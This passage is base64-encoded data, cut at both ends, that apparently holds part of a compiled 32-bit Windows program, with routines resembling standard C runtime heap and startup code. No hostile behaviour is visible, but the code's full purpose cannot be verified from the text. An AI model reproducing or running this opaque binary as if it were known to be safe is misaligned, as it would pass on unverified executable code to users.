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91GP/Wi/g7+w+EqwAAAH48gf/w//9/dzSNRD8IPQAEAAB3E+ihIwAAi8Q7w3QcxwDMzAAA6xFQ6Cf2//9ZO8N0CccA3d0AAIPACIvYhdt0aY0EP1BqAFPo3Z///4PEDFdT/3UQ/3UMagH/dRj/1oXAdBH/dRRQU/91CP8VLAEBEIlF+FPoyfr//4tF+FnrdTP2OV0cdQiLB4tAFIlFHDldGHUIiweLQASJRRj/dRzoDCEAAFmD+P91BDPA60c7RRh0HlNTjU0QUf91DFD/dRjoNCEAAIvwg8QYO/N03Il1DP91FP91EP91DP91CP91HP8VKAEBEIv4O/N0B1boqJ7//1mLx41l7F9eW4tN/DPN6CmW///Jw4v/VYvsg+wQ/3UIjU3w6DSY////dSSNTfD/dSD/dRz/dRj/dRT/dRD/dQzoFv7//4PEHIB9/AB0B4tN+INhcP3Jw4v/VYvsVot1CIX2D4SBAQAA/3YE6Die////dgjoMJ7///92DOgonv///3YQ6CCe////dhToGJ7///92GOgQnv///zboCZ7///92IOgBnv///3Yk6Pmd////dijo8Z3///92LOjpnf///3Yw6OGd////djTo2Z3///92HOjRnf///3Y46Mmd////djzowZ3//4PEQP92QOi2nf///3ZE6K6d////dkjopp3///92TOienf///3ZQ6Jad////dlTojp3///92WOiGnf///3Zc6H6d////dmDodp3///92ZOhunf///3Zo6Gad////dmzoXp3///92cOhWnf///3Z06E6d////dnjoRp3///92fOg+nf//g8RA/7aAAAAA6DCd////toQAAADoJZ3///+2iAAAAOganf///7aMAAAA6A+d////tpAAAADoBJ3///+2lAAAAOj5nP///7aYAAAA6O6c////tpwAAADo45z///+2oAAAAOjYnP///7akAAAA6M2c////tqgAAADowpz//4PELF5dw4v/VYvsVot1CIX2dDWLBjsFYFoBEHQHUOifnP//WYtGBDsFZFoBEHQHUOiNnP//WYt2CDs1aFoBEHQHVuh7nP//WV5dw4v/VYvsVot1CIX2dH6LRgw7BWxaARB0B1DoWZz//1mLRhA7BXBaARB0B1DoR5z//1mLRhQ7BXRaARB0B1DoNZz//1mLRhg7BXhaARB0B1DoI5z//1mLRhw7BXxaARB0B1DoEZz//1mLRiA7BYBaARB0B1Do/5v//1mLdiQ7NYRaARB0B1bo7Zv//1leXcOL/1WL7ItFCFMz21ZXO8N0B4t9DDv7dxvo4KH//2oWXokwU1NTU1PoaaH//4PEFIvG6zyLdRA783UEiBjr2ovQOBp0BEJPdfg7+3Tuig6ICkJGOst0A0918zv7dRCIGOiZof//aiJZiQiL8eu1M8BfXltdw8zMzMzMVYvsVjPAUFBQUFBQUFCLVQyNSQCKAgrAdAmDwgEPqwQk6/GLdQiDyf+NSQCDwQGKBgrAdAmDxgEPowQkc+6LwYPEIF7Jw4v/VYvsU1aLdQgz21c5XRR1EDvzdRA5XQx1EjPAX15bXcM783QHi30MO/t3G+gMof//ahZeiTBTU1NTU+iVoP//g8QUi8br1TldFHUEiB7ryotVEDvTdQSIHuvRg30U/4vGdQ+